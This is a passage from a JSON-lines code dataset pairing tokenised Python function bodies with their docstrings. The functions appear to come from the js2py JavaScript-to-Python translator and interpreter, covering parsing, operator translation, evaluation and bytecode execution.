<NUM_LIT:255><EOL>num = <NUM_LIT:0><EOL>len_parsed = <NUM_LIT:0><EOL>for e in source[n:end]:<EOL><INDENT>cand = <NUM_LIT:8> * num + int(e)<EOL>if cand > max_num:<EOL><INDENT>break<EOL><DEDENT>num = cand<EOL>len_parsed += <NUM_LIT:1><EOL><DEDENT>return '<STR_LIT:\\\\>' + hex(num)[<NUM_LIT:1>:], n + len_parsed<EOL><DEDENT>return source[n + <NUM_LIT:1>], n + <NUM_LIT:2><EOL>", "docstring": "Its actually quite complicated to cover every case :)\n       http://www.javascriptkit.com/jsref/escapesequence.shtml", "id": "f11663:m8"}
{"signature": "def rl(self, lis, op):", "body": "it = reversed(lis)<EOL>res = trans(next(it))<EOL>for e in it:<EOL><INDENT>e = trans(e)<EOL>res = op(e, res)<EOL><DEDENT>return res<EOL>", "docstring": "performs this operation on a list from *right to left*\n        op must take 2 args\n        a,b,c  => op(a, op(b, c))", "id": "f11665:c0:m1"}
{"signature": "def lr(self, lis, op):", "body": "it = iter(lis)<EOL>res = trans(next(it))<EOL>for e in it:<EOL><INDENT>e = trans(e)<EOL>res = op(res, e)<EOL><DEDENT>return res<EOL>", "docstring": "performs this operation on a list from *left to right*\n        op must take 2 args\n        a,b,c  => op(op(a, b), c)", "id": "f11665:c0:m2"}
{"signature": "def translate(self):", "body": "if not self.code:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>new = bracket_replace(self.code)<EOL>cand = new.split('<STR_LIT:U+002C>')  <EOL>if len(cand) > <NUM_LIT:1>:  <EOL><INDENT>return self.lr(cand, js_comma)<EOL><DEDENT>if '<STR_LIT:?>' in new:<EOL><INDENT>cond_ind = new.find('<STR_LIT:?>')<EOL>tenary_start = <NUM_LIT:0><EOL>for ass in re.finditer(ASSIGNMENT_MATCH, new):<EOL><INDENT>cand = ass.span()[<NUM_LIT:1>]<EOL>if cand < cond_ind:<EOL><INDENT>tenary_start = cand<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>actual_tenary = new[tenary_start:]<EOL>spl = '<STR_LIT>'.join(split_at_any(new, ['<STR_LIT::>', '<STR_LIT:?>'], translate=trans))<EOL>tenary_translation = transform_crap(spl)<EOL>assignment = new[:tenary_start] + '<STR_LIT>'<EOL>return trans(assignment).replace('<STR_LIT>',<EOL>tenary_translation)<EOL><DEDENT>cand = list(split_at_single(new, '<STR_LIT:=>', ['<STR_LIT:!>', '<STR_LIT:=>', '<STR_LIT:<>', '<STR_LIT:>>'], ['<STR_LIT:=>']))<EOL>if len(cand) > <NUM_LIT:1>:  <EOL><INDENT>it = reversed(cand)<EOL>res = trans(next(it))<EOL>for e in it:<EOL><INDENT>e = e.strip()<EOL>if not e:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>op = '<STR_LIT>'<EOL>if e[-<NUM_LIT:2>:] in OP_METHODS:<EOL><INDENT>op = '<STR_LIT:U+002C>' + e[-<NUM_LIT:2>:].__repr__()<EOL>e = e[:-<NUM_LIT:2>]<EOL><DEDENT>elif e[-<NUM_LIT:1>:] in OP_METHODS:<EOL><INDENT>op = '<STR_LIT:U+002C>' + e[-<NUM_LIT:1>].__repr__()<EOL>e = e[:-<NUM_LIT:1>]<EOL><DEDENT>e = trans(e)<EOL>c = list(bracket_split(e, ['<STR_LIT>']))<EOL>beg, arglist = '<STR_LIT>'.join(c[:-<NUM_LIT:1>]).strip(), c[-<NUM_LIT:1>].strip(<EOL>)  <EOL>if beg[-<NUM_LIT:4>:] != '<STR_LIT>':<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>beg = beg[<NUM_LIT:0>:-<NUM_LIT:3>] + '<STR_LIT>'<EOL>arglist = arglist[<NUM_LIT:0>:-<NUM_LIT:1>] + '<STR_LIT:U+002CU+0020>' + res + op + '<STR_LIT:)>'<EOL>res = beg + arglist<EOL><DEDENT>return res<EOL><DEDENT>order = [OR, AND, BOR, BXOR, BAND, EQS, COMPS, BSHIFTS, ADDS, MULTS]<EOL>dangerous = ['<STR_LIT:<>', '<STR_LIT:>>']<EOL>for typ in order:<EOL><INDENT>if '<STR_LIT:+>' in typ:<EOL><INDENT>cand = list(split_add_ops(new))<EOL><DEDENT>else:<EOL><INDENT>cand = list(<EOL>split_at_any(<EOL>new,<EOL>list(typ.keys()),<EOL>False,<EOL>dangerous,<EOL>dangerous,<EOL>validitate=comb_validitator))<EOL><DEDENT>if not len(cand) > <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>n = <NUM_LIT:1><EOL>res = trans(cand[<NUM_LIT:0>])<EOL>if not res:<EOL><INDENT>raise SyntaxError(\"<STR_LIT>\")<EOL><DEDENT>while n < len(cand):<EOL><INDENT>e = cand[n]<EOL>if not e:<EOL><INDENT>raise SyntaxError(\"<STR_LIT>\")<EOL><DEDENT>if n % <NUM_LIT:2>:<EOL><INDENT>op = typ[e]<EOL><DEDENT>else:<EOL><INDENT>res = op(res, trans(e))<EOL><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>return res<EOL><DEDENT>cand = list(<EOL>split_at_any(<EOL>new, list(UNARY.keys()), False, validitate=unary_validitator))<EOL>if len(cand) > <NUM_LIT:1>:  <EOL><INDENT>if '<STR_LIT>' in cand or '<STR_LIT>' in cand:  <EOL><INDENT>if '<STR_LIT>' in cand:<EOL><INDENT>op = '<STR_LIT>'<EOL>meths = js_post_dec, js_pre_dec<EOL><DEDENT>else:<EOL><INDENT>op = '<STR_LIT>'<EOL>meths = js_post_inc, js_pre_inc<EOL><DEDENT>pos = cand.index(op)<EOL>if cand[pos - <NUM_LIT:1>].strip():  <EOL><INDENT>a = cand[pos - <NUM_LIT:1>]<EOL>meth = meths[<NUM_LIT:0>]<EOL><DEDENT>elif cand[pos + <NUM_LIT:1>].strip():  <EOL><INDENT>a = cand[pos + <NUM_LIT:1>]<EOL>meth = meths[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>if cand[pos + <NUM_LIT:2>:]:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>operand = meth(trans(a))<EOL>cand = cand[:pos - <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>operand = trans(cand[-<NUM_LIT:1>])<EOL>del cand[-<NUM_LIT:1>]<EOL><DEDENT>for i, e in enumerate(reversed(cand)):<EOL><INDENT>if i % <NUM_LIT:2>:<EOL><INDENT>if e.strip():<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>operand = UNARY[e](operand)<EOL><DEDENT><DEDENT>return operand<EOL><DEDENT>if new[<NUM_LIT:0>] == '<STR_LIT:@>' or new[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>if len(<EOL>list(bracket_split(new, ('<STR_LIT>', '<STR_LIT>')))<EOL>) == <NUM_LIT:1>:  <EOL><INDENT>assert new in REPL<EOL>if new[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>')<EOL><DEDENT>return '<STR_LIT:(>' + trans(REPL[new][<NUM_LIT:1>:-<NUM_LIT:1>]) + '<STR_LIT:)>'<EOL><DEDENT><DEDENT>it = bracket_split(new, ('<STR_LIT>', '<STR_LIT>'))<EOL>res = []<EOL>for e in it:<EOL><INDENT>if e[<NUM_LIT:0>] != '<STR_LIT:#>' and e[<NUM_LIT:0>] != '<STR_LIT:@>':<EOL><INDENT>res += [x.strip() for x in e.split('<STR_LIT:.>')]<EOL><DEDENT>else:<EOL><INDENT>res += [e.strip()]<EOL><DEDENT><DEDENT>res = [x for x in res if x]<EOL>if is_internal(res[<NUM_LIT:0>]):<EOL><INDENT>out = res[<NUM_LIT:0>]<EOL><DEDENT>elif res[<NUM_LIT:0>][<NUM_LIT:0>] in {'<STR_LIT:#>', '<STR_LIT:@>'}:<EOL><INDENT>out = '<STR_LIT:(>' + trans(REPL[res[<NUM_LIT:0>]][<NUM_LIT:1>:-<NUM_LIT:1>]) + '<STR_LIT:)>'<EOL><DEDENT>elif is_valid_lval(<EOL>res[<NUM_LIT:0>]) or res[<NUM_LIT:0>] in {'<STR_LIT>', '<STR_LIT:false>', '<STR_LIT:true>', '<STR_LIT:null>'}:<EOL><INDENT>out = '<STR_LIT>' + res[<NUM_LIT:0>].__repr__() + '<STR_LIT:)>'<EOL><DEDENT>else:<EOL><INDENT>if is_reserved(res[<NUM_LIT:0>]):<EOL><INDENT>raise SyntaxError('<STR_LIT>' % res[<NUM_LIT:0>])<EOL><DEDENT>raise SyntaxError('<STR_LIT>' % res[<NUM_LIT:0>])<EOL><DEDENT>if len(res) == <NUM_LIT:1>:<EOL><INDENT>return out<EOL><DEDENT>n = <NUM_LIT:1><EOL>while n < len(res):  <EOL><INDENT>e = res[n]<EOL>if e[<NUM_LIT:0>] == '<STR_LIT:@>':  <EOL><INDENT>out += trans_args(REPL[e])<EOL>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>args = False  <EOL>if n + <NUM_LIT:1> < len(res) and res[n + <NUM_LIT:1>][<NUM_LIT:0>] == '<STR_LIT:@>':  <EOL><INDENT>args = trans_args(REPL[res[n + <NUM_LIT:1>]])[<NUM_LIT:1>:]<EOL>if args != '<STR_LIT:)>':<EOL><INDENT>args = '<STR_LIT:U+002C>' + args<EOL><DEDENT><DEDENT>if e[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>prop = trans(REPL[e][<NUM_LIT:1>:-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>if not is_lval(e):<EOL><INDENT>raise SyntaxError('<STR_LIT>' % e)<EOL><DEDENT>prop = e.__repr__()<EOL><DEDENT>if args:  <EOL><INDENT>n += <NUM_LIT:1><EOL>out += '<STR_LIT>' + prop + args<EOL><DEDENT>else:  <EOL><INDENT>out += '<STR_LIT>' + prop + '<STR_LIT:)>'<EOL><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>return out<EOL>", "docstring": "Translates outer operation and calls translate on inner operation.\n           Returns fully translated code.", "id": "f11665:c0:m3"}
{"signature": "def remove_functions(source, all_inline=False):", "body": "global INLINE_COUNT<EOL>inline = {}<EOL>hoisted = {}<EOL>n = <NUM_LIT:0><EOL>limit = len(source) - <NUM_LIT:9>  <EOL>res = '<STR_LIT>'<EOL>last = <NUM_LIT:0><EOL>while n < limit:<EOL><INDENT>if n and source[n - <NUM_LIT:1>] in IDENTIFIER_PART:<EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>if source[n:n + <NUM_LIT:8>] == '<STR_LIT>' and source[n +<EOL><NUM_LIT:8>] not in IDENTIFIER_PART:<EOL><INDENT>if source[:n].rstrip().endswith(<EOL>'<STR_LIT:.>'):  <EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>if source[n + <NUM_LIT:8>:].lstrip().startswith(<EOL>'<STR_LIT::>'):  <EOL><INDENT>n += <NUM_LIT:1><EOL>continue<EOL><DEDENT>entered = n<EOL>res += source[last:n]<EOL>name = '<STR_LIT>'<EOL>n = pass_white(source, n + <NUM_LIT:8>)<EOL>if source[n] in IDENTIFIER_START:  <EOL><INDENT>name, n = parse_identifier(source, n)<EOL><DEDENT>args, n = pass_bracket(source, n, '<STR_LIT>')<EOL>if not args:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>args = args.strip('<STR_LIT>')<EOL>args = tuple(parse_identifier(e, <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>for e in argsplit(args)) if args else ()<EOL>if len(args) - len(set(args)):<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>block, n = pass_bracket(source, n, '<STR_LIT:{}>')<EOL>if not block:<EOL><INDENT>raise SyntaxError(<EOL>'<STR_LIT>')<EOL><DEDENT>mixed = False  <EOL>if name and not all_inline:<EOL><INDENT>before = source[:entered].rstrip()<EOL>if any(endswith_keyword(before, e) for e in PRE_EXP_STARTS):<EOL><INDENT>mixed = True<EOL><DEDENT>elif before and before[-<NUM_LIT:1>] not in PRE_ALLOWED and not before[<EOL>-<NUM_LIT:2>:] in INCREMENTS:<EOL><INDENT>mixed = True<EOL><DEDENT>else:<EOL><INDENT>hoisted[name] = block, args<EOL><DEDENT><DEDENT>if not name or mixed or all_inline:  <EOL><INDENT>INLINE_COUNT += <NUM_LIT:1><EOL>iname = INLINE_NAME % INLINE_COUNT  <EOL>res += '<STR_LIT:U+0020>' + iname<EOL>inline['<STR_LIT>' % (<EOL>iname, name<EOL>)] = block, args  <EOL><DEDENT>last = n<EOL><DEDENT>else:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT><DEDENT>res += source[last:]<EOL>return res, hoisted, inline<EOL>", "docstring": "removes functions and returns new source, and 2 dicts.\n        first dict with removed hoisted(global) functions and second with replaced inline functions", "id": "f11666:m1"}
{"signature": "def is_lval(t):", "body": "if not t:<EOL><INDENT>return False<EOL><DEDENT>i = iter(t)<EOL>if i.next() not in IDENTIFIER_START:<EOL><INDENT>return False<EOL><DEDENT>return all(e in IDENTIFIER_PART for e in i)<EOL>", "docstring": "Does not chceck whether t is not resticted or internal", "id": "f11668:m0"}
{"signature": "def is_valid_lval(t):", "body": "if not is_internal(t) and is_lval(t) and t not in RESERVED_NAMES:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Checks whether t is valid JS identifier name (no keyword like var, function, if etc)\n    Also returns false on internal", "id": "f11668:m1"}
{"signature": "def import_js(path, lib_name, globals):", "body": "with codecs.open(path_as_local(path), \"<STR_LIT:r>\", \"<STR_LIT:utf-8>\") as f:<EOL><INDENT>js = f.read()<EOL><DEDENT>e = EvalJs()<EOL>e.execute(js)<EOL>var = e.context['<STR_LIT>']<EOL>globals[lib_name] = var.to_python()<EOL>", "docstring": "Imports from javascript source file.\n      globals is your globals()", "id": "f11669:m2"}
{"signature": "def translate_file(input_path, output_path):", "body": "js = get_file_contents(input_path)<EOL>py_code = translate_js(js)<EOL>lib_name = os.path.basename(output_path).split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>head = '<STR_LIT>' % repr(<EOL>lib_name)<EOL>tail = '<STR_LIT>' % lib_name<EOL>out = head + py_code + tail<EOL>write_file_contents(output_path, out)<EOL>", "docstring": "Translates input JS file to python and saves the it to the output path.\nIt appends some convenience code at the end so that it is easy to import JS objects.\n\nFor example we have a file 'example.js' with:   var a = function(x) {return x}\ntranslate_file('example.js', 'example.py')\n\nNow example.py can be easily importend and used:\n>>> from example import example\n>>> example.a(30)\n30", "id": "f11669:m5"}
{"signature": "def run_file(path_or_file, context=None):", "body": "if context is None:<EOL><INDENT>context = EvalJs()<EOL><DEDENT>if not isinstance(context, EvalJs):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>eval_value = context.eval(get_file_contents(path_or_file))<EOL>return eval_value, context<EOL>", "docstring": "Context must be EvalJS object. Runs given path as a JS program. Returns (eval_value, context).", "id": "f11669:m6"}
{"signature": "def eval_js(js):", "body": "e = EvalJs()<EOL>return e.eval(js)<EOL>", "docstring": "Just like javascript eval. Translates javascript to python,\n       executes and returns python object.\n       js is javascript source code\n\n       EXAMPLE:\n        >>> import js2py\n        >>> add = js2py.eval_js('function add(a, b) {return a + b}')\n        >>> add(1, 2) + 3\n        6\n        >>> add('1', 2, 3)\n        u'12'\n        >>> add.constructor\n        function Function() { [python code] }\n\n       NOTE: For Js Number, String, Boolean and other base types returns appropriate python BUILTIN type.\n       For Js functions and objects, returns Python wrapper - basically behaves like normal python object.\n       If you really want to convert object to python dict you can use to_dict method.", "id": "f11669:m7"}
{"signature": "def eval_js6(js):", "body": "return eval_js(js6_to_js5(js))<EOL>", "docstring": "Just like eval_js but with experimental support for js6 via babel.", "id": "f11669:m8"}
{"signature": "def translate_js6(js):", "body": "return translate_js(js6_to_js5(js))<EOL>", "docstring": "Just like translate_js but with experimental support for js6 via babel.", "id": "f11669:m9"}
{"signature": "def execute(self, js=None, use_compilation_plan=False):", "body": "try:<EOL><INDENT>cache = self.__dict__['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>cache = self.__dict__['<STR_LIT>'] = {}<EOL><DEDENT>hashkey = hashlib.md5(js.encode('<STR_LIT:utf-8>')).digest()<EOL>try:<EOL><INDENT>compiled = cache[hashkey]<EOL><DEDENT>except KeyError:<EOL><INDENT>code = translate_js(<EOL>js, '<STR_LIT>', use_compilation_plan=use_compilation_plan)<EOL>compiled = cache[hashkey] = compile(code, '<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>exec (compiled, self._context)<EOL>", "docstring": "executes javascript js in current context\n\n        During initial execute() the converted js is cached for re-use. That means next time you\n        run the same javascript snippet you save many instructions needed to parse and convert the\n        js code to python code.\n\n        This cache causes minor overhead (a cache dicts is updated) but the Js=>Py conversion process\n        is typically expensive compared to actually running the generated python code.\n\n        Note that the cache is just a dict, it has no expiration or cleanup so when running this\n        in automated situations with vast amounts of snippets it might increase memory usage.", "id": "f11669:c0:m1"}
{"signature": "def eval(self, expression, use_compilation_plan=False):", "body": "code = '<STR_LIT>' % json.dumps(expression)<EOL>self.execute(code, use_compilation_plan=use_compilation_plan)<EOL>return self['<STR_LIT>']<EOL>", "docstring": "evaluates expression in current context and returns its value", "id": "f11669:c0:m2"}
{"signature": "def execute_debug(self, js):", "body": "code = translate_js(js, '<STR_LIT>')<EOL>filename = '<STR_LIT>' + os.sep + '<STR_LIT:_>' + hashlib.md5(<EOL>code.encode(\"<STR_LIT:utf-8>\")).hexdigest() + '<STR_LIT>'<EOL>try:<EOL><INDENT>with open(filename, mode='<STR_LIT:w>') as f:<EOL><INDENT>f.write(code)<EOL><DEDENT>with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>pyCode = compile(f.read(), filename, '<STR_LIT>')<EOL>exec(pyCode, self._context)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>raise err<EOL><DEDENT>finally:<EOL><INDENT>os.remove(filename)<EOL>try:<EOL><INDENT>os.remove(filename + '<STR_LIT:c>')<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "executes javascript js in current context\n        as opposed to the (faster) self.execute method, you can use your regular debugger\n        to set breakpoints and inspect the generated python code", "id": "f11669:c0:m3"}
{"signature": "def eval_debug(self, expression):", "body": "code = '<STR_LIT>' % json.dumps(expression)<EOL>self.execute_debug(code)<EOL>return self['<STR_LIT>']<EOL>", "docstring": "evaluates expression in current context and returns its value\n        as opposed to the (faster) self.execute method, you can use your regular debugger\n        to set breakpoints and inspect the generated python code", "id": "f11669:c0:m4"}
{"signature": "def console(self):", "body": "while True:<EOL><INDENT>if six.PY2:<EOL><INDENT>code = raw_input('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>code = input('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>print(self.eval(code))<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>import traceback<EOL>if DEBUG:<EOL><INDENT>sys.stderr.write(traceback.format_exc())<EOL><DEDENT>else:<EOL><INDENT>sys.stderr.write('<STR_LIT>' + str(e) + '<STR_LIT:\\n>')<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>", "docstring": "starts to interact (starts interactive console) Something like code.InteractiveConsole", "id": "f11669:c0:m9"}
{"signature": "def abstract_relational_comparison(self, other,<EOL>self_first=True):  ", "body": "px = to_primitive(self, '<STR_LIT>')<EOL>py = to_primitive(other, '<STR_LIT>')<EOL>if not self_first:  <EOL><INDENT>px, py = py, px<EOL><DEDENT>if not (Type(px) == '<STR_LIT>' and Type(py) == '<STR_LIT>'):<EOL><INDENT>px, py = to_number(px), to_number(py)<EOL>if is_nan(px) or is_nan(py):<EOL><INDENT>return None  <EOL><DEDENT>return px < py  <EOL><DEDENT>else:<EOL><INDENT>return px < py<EOL><DEDENT>", "docstring": "self<other if self_first else other<self.\n       Returns the result of the question: is self smaller than other?\n       in case self_first is false it returns the answer of:\n                                           is other smaller than self.\n       result is PyJs type: bool or undefined", "id": "f11670:m17"}
{"signature": "def abstract_equality_op(self, other):", "body": "tx, ty = Type(self), Type(other)<EOL>if tx == ty:<EOL><INDENT>if tx == '<STR_LIT>' or tx == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>if tx == '<STR_LIT>' or tx == '<STR_LIT>' or tx == '<STR_LIT>':<EOL><INDENT>return self == other<EOL><DEDENT>return self is other  <EOL><DEDENT>elif (tx == '<STR_LIT>' and ty == '<STR_LIT>') or (ty == '<STR_LIT>'<EOL>and tx == '<STR_LIT>'):<EOL><INDENT>return True<EOL><DEDENT>elif tx == '<STR_LIT>' and ty == '<STR_LIT>':<EOL><INDENT>return abstract_equality_op(self, to_number(other))<EOL><DEDENT>elif tx == '<STR_LIT>' and ty == '<STR_LIT>':<EOL><INDENT>return abstract_equality_op(to_number(self), other)<EOL><DEDENT>elif tx == '<STR_LIT>':<EOL><INDENT>return abstract_equality_op(to_number(self), other)<EOL><DEDENT>elif ty == '<STR_LIT>':<EOL><INDENT>return abstract_equality_op(self, to_number(other))<EOL><DEDENT>elif (tx == '<STR_LIT>' or tx == '<STR_LIT>') and is_object(other):<EOL><INDENT>return abstract_equality_op(self, to_primitive(other))<EOL><DEDENT>elif (ty == '<STR_LIT>' or ty == '<STR_LIT>') and is_object(self):<EOL><INDENT>return abstract_equality_op(to_primitive(self), other)<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "returns the result of JS == compare.\n       result is PyJs type: bool", "id": "f11670:m22"}
{"signature": "def instanceof_op(self, other):", "body": "if not hasattr(other, '<STR_LIT>'):<EOL><INDENT>return False<EOL><DEDENT>return other.has_instance(self)<EOL>", "docstring": "checks if self is instance of other", "id": "f11670:m26"}
{"signature": "def in_op(self, other):", "body": "if not is_object(other):<EOL><INDENT>raise MakeError(<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\")<EOL><DEDENT>return other.has_property(to_string(self))<EOL>", "docstring": "checks if self is in other", "id": "f11670:m27"}
{"signature": "def ConstructArray(self, py_arr):", "body": "arr = self.NewArray(len(py_arr))<EOL>arr._init(py_arr)<EOL>return arr<EOL>", "docstring": "note py_arr elems are NOT converted to PyJs types!", "id": "f11671:c0:m9"}
{"signature": "def ConstructObject(self, py_obj):", "body": "obj = self.NewObject()<EOL>for k, v in py_obj.items():<EOL><INDENT>obj.put(unicode(k), v)<EOL><DEDENT>return obj<EOL>", "docstring": "note py_obj items are NOT converted to PyJs types!", "id": "f11671:c0:m10"}
{"signature": "def replacement_template(rep, source, span, npar):", "body": "n = <NUM_LIT:0><EOL>res = '<STR_LIT>'<EOL>while n < len(rep) - <NUM_LIT:1>:<EOL><INDENT>char = rep[n]<EOL>if char == '<STR_LIT:$>':<EOL><INDENT>if rep[n + <NUM_LIT:1>] == '<STR_LIT:$>':<EOL><INDENT>res += '<STR_LIT:$>'<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res += source[:span[<NUM_LIT:0>]]<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res += source[span[<NUM_LIT:1>]:]<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] in DIGS:<EOL><INDENT>dig = rep[n + <NUM_LIT:1>]<EOL>if n + <NUM_LIT:2> < len(rep) and rep[n + <NUM_LIT:2>] in DIGS:<EOL><INDENT>dig += rep[n + <NUM_LIT:2>]<EOL><DEDENT>num = int(dig)<EOL>if not num or num > len(npar):<EOL><INDENT>res += '<STR_LIT:$>' + dig<EOL><DEDENT>else:<EOL><INDENT>res += npar[num - <NUM_LIT:1>] if npar[num - <NUM_LIT:1>] else '<STR_LIT>'<EOL><DEDENT>n += <NUM_LIT:1> + len(dig)<EOL>continue<EOL><DEDENT><DEDENT>res += char<EOL>n += <NUM_LIT:1><EOL><DEDENT>if n < len(rep):<EOL><INDENT>res += rep[-<NUM_LIT:1>]<EOL><DEDENT>return res<EOL>", "docstring": "Takes the replacement template and some info about the match and returns filled template", "id": "f11684:m0"}
{"signature": "def create(self, args, space):", "body": "raise MakeError('<STR_LIT>', '<STR_LIT>' % self.Class)<EOL>", "docstring": "Generally not a constructor, raise an error", "id": "f11686:c0:m11"}
{"signature": "def match(self, string, pos):", "body": "return self.pat.match(string, int(pos))<EOL>", "docstring": "string is of course a py string", "id": "f11686:c3:m1"}
{"signature": "def __init__(self, scope, space, parent=None):", "body": "self.space = space<EOL>self.prototype = parent<EOL>if type(scope) is not dict:<EOL><INDENT>assert parent is not None, '<STR_LIT>'<EOL>self.own = scope<EOL>self.is_with_scope = True<EOL><DEDENT>else:<EOL><INDENT>self.is_with_scope = False<EOL><DEDENT>if parent is None:<EOL><INDENT>self.own = {}<EOL>for k, v in six.iteritems(scope):<EOL><INDENT>self.define_own_property(<EOL>k, {<EOL>'<STR_LIT:value>': v,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False<EOL>}, False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.own = scope  <EOL><DEDENT>self.par = super(Scope, self)<EOL>self.stack = []<EOL>", "docstring": "Doc", "id": "f11686:c6:m0"}
{"signature": "def registers(self, vars):", "body": "for var in vars:<EOL><INDENT>self.register(var)<EOL><DEDENT>", "docstring": "register multiple variables", "id": "f11686:c6:m2"}
{"signature": "def call(self, this, args=()):", "body": "if self.is_native:<EOL><INDENT>_args = SpaceTuple(<EOL>args<EOL>)  <EOL>_args.space = self.space<EOL>return self.code(<EOL>this, _args<EOL>)  <EOL><DEDENT>else:<EOL><INDENT>return self.space.exe._call(self, this,<EOL>args)<EOL><DEDENT>", "docstring": "Dont use this method from inside bytecode to call other bytecode.", "id": "f11686:c7:m1"}
{"signature": "def cok(self):", "body": "if type(self) in (UNDEFINED_TYPE, NULL_TYPE):<EOL><INDENT>raise MakeError('<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Check object coercible", "id": "f11687:m10"}
{"signature": "def pad(num, n=<NUM_LIT:2>, sign=False):", "body": "s = unicode(abs(num))<EOL>if len(s) < n:<EOL><INDENT>s = '<STR_LIT:0>' * (n - len(s)) + s<EOL><DEDENT>if not sign:<EOL><INDENT>return s<EOL><DEDENT>if num >= <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:+>' + s<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:->' + s<EOL><DEDENT>", "docstring": "returns n digit string representation of the num", "id": "f11697:m10"}
{"signature": "def emit(self, what, *args):", "body": "if isinstance(what, basestring):<EOL><INDENT>return self.exe.emit(what, *args)<EOL><DEDENT>elif isinstance(what, list):<EOL><INDENT>self._emit_statement_list(what)<EOL><DEDENT>else:<EOL><INDENT>return getattr(self, what['<STR_LIT:type>'])(**what)<EOL><DEDENT>", "docstring": "what can be either name of the op, or node, or a list of statements.", "id": "f11700:c0:m49"}
{"signature": "def emit(self, op_code, *args):", "body": "self.tape.append(OP_CODES[op_code](*args))<EOL>", "docstring": "Adds op_code with specified args to tape", "id": "f11703:c0:m2"}
{"signature": "def compile(self, start_loc=<NUM_LIT:0>):", "body": "self.label_locs = {} if self.label_locs is None else self.label_locs<EOL>loc = start_loc<EOL>while loc < len(self.tape):<EOL><INDENT>if type(self.tape[loc]) == LABEL:<EOL><INDENT>self.label_locs[self.tape[loc].num] = loc<EOL>del self.tape[loc]<EOL>continue<EOL><DEDENT>loc += <NUM_LIT:1><EOL><DEDENT>self.compiled = True<EOL>", "docstring": "Records locations of labels and compiles the code", "id": "f11703:c0:m3"}
{"signature": "def _call(self, func, this, args):", "body": "assert not func.is_native<EOL>old_contexts = self.contexts<EOL>old_return_locs = self.return_locs<EOL>old_curr_ctx = self.current_ctx<EOL>self.contexts = [FakeCtx()]<EOL>self.return_locs = [len(self.tape)]  <EOL>my_ctx = func._generate_my_context(this, args)<EOL>self.current_ctx = my_ctx<EOL>ret = self.run(my_ctx, starting_loc=self.label_locs[func.code])<EOL>self.current_ctx = old_curr_ctx<EOL>self.contexts = old_contexts<EOL>self.return_locs = old_return_locs<EOL>return ret<EOL>", "docstring": "Calls a bytecode function func\n            NOTE:  use !ONLY! when calling functions from native methods!", "id": "f11703:c0:m4"}
{"signature": "def execute_fragment_under_context(self, ctx, start_label, end_label):", "body": "old_curr_ctx = self.current_ctx<EOL>self.ctx_depth += <NUM_LIT:1><EOL>old_stack_len = len(ctx.stack)<EOL>old_ret_len = len(self.return_locs)<EOL>old_ctx_len = len(self.contexts)<EOL>try:<EOL><INDENT>self.current_ctx = ctx<EOL>return self._execute_fragment_under_context(<EOL>ctx, start_label, end_label)<EOL><DEDENT>except JsException as err:<EOL><INDENT>if self.debug_mode:<EOL><INDENT>self._on_fragment_exit(\"<STR_LIT>\")<EOL><DEDENT>del ctx.stack[old_stack_len:]<EOL>del self.return_locs[old_ret_len:]<EOL>del self.contexts[old_ctx_len :]<EOL>return undefined, <NUM_LIT:3>, err<EOL><DEDENT>finally:<EOL><INDENT>self.ctx_depth -= <NUM_LIT:1><EOL>self.current_ctx = old_curr_ctx<EOL>assert old_stack_len == len(ctx.stack)<EOL><DEDENT>", "docstring": "just like run but returns if moved outside of the specified fragment\n            # 4 different exectution results\n            # 0=normal, 1=return, 2=jump_outside, 3=errors\n            # 